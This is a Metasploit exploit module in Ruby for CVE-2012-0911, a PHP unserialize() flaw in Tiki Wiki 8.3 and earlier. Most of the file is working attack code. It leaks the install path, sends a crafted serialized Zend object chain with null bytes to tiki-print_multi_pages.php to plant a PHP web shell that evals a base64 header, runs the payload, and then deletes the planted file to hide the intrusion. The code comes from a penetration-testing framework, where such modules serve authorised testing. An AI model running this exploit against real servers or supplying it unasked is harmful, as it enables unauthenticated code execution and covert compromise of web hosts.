Added module for CVE-2012-0911
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jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
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'Description' => %q{
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This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
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which could be abused to allow unauthenticated users to execute arbitrary code
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under the context of the webserver user.
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The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
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which is called with user controlled data from the 'printpages' parameter.
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The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
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class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
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In order to run successfully three conditions must be satisfied (1) display_errors
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php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
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Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
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version older than 5.3.4 must be used to allow poison null bytes in filesystem related
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functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
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},
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'Author' =>
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[
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'EgiX', # Vulnerability discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2012-0911' ],
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[ 'BID', '54298' ],
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[ 'EDB', '19573' ],
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[ 'URL', 'http://dev.tiki.org/item4109' ]
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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'DisableNops' => true,
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},
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'Targets' => [ ['Automatic', { }], ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 04 2012'
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"]),
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], self.class)
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end
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def on_new_session(client)
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if client.type == "meterpreter"
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client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
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begin
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client.fs.file.rm(@upload_php)
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print_good("#{@peer} - #{@upload_php} removed to stay ninja")
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rescue
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print_error("#{@peer} - Unable to remove #{f}")
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end
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end
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end
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def exploit
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
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@peer = "#{rhost}:#{rport}"
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print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
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res = send_request_cgi(
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'uri' => "#{base}tiki-rss_error.php"
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)
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if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
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print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
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return
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else
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tiki_path = $1
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print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
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end
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php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
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printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
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printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
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printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
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printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
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printpages << "s:10:\"%00*%00_fields\";a:1:"
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printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
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printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
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printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
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print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
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res = send_request_cgi(
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{
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'uri' => "#{base}tiki-print_multi_pages.php",
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'method' => 'POST',
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'vars_post' => {
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'printpages' => printpages
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}
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})
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if not res or res.code != 200
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print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
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return
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end
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print_status("#{@peer} - Executing the payload #{@upload_php}")
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res = send_request_cgi(
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{
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'method' => 'GET',
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'uri' => "#{base + @upload_php}",
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'headers' => {
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'Cmd' => Rex::Text.encode_base64(payload.encoded)
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}
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})
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if res
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print_error("#{@peer} - Payload execution failed: #{res.code}")
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return
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end
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end
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end
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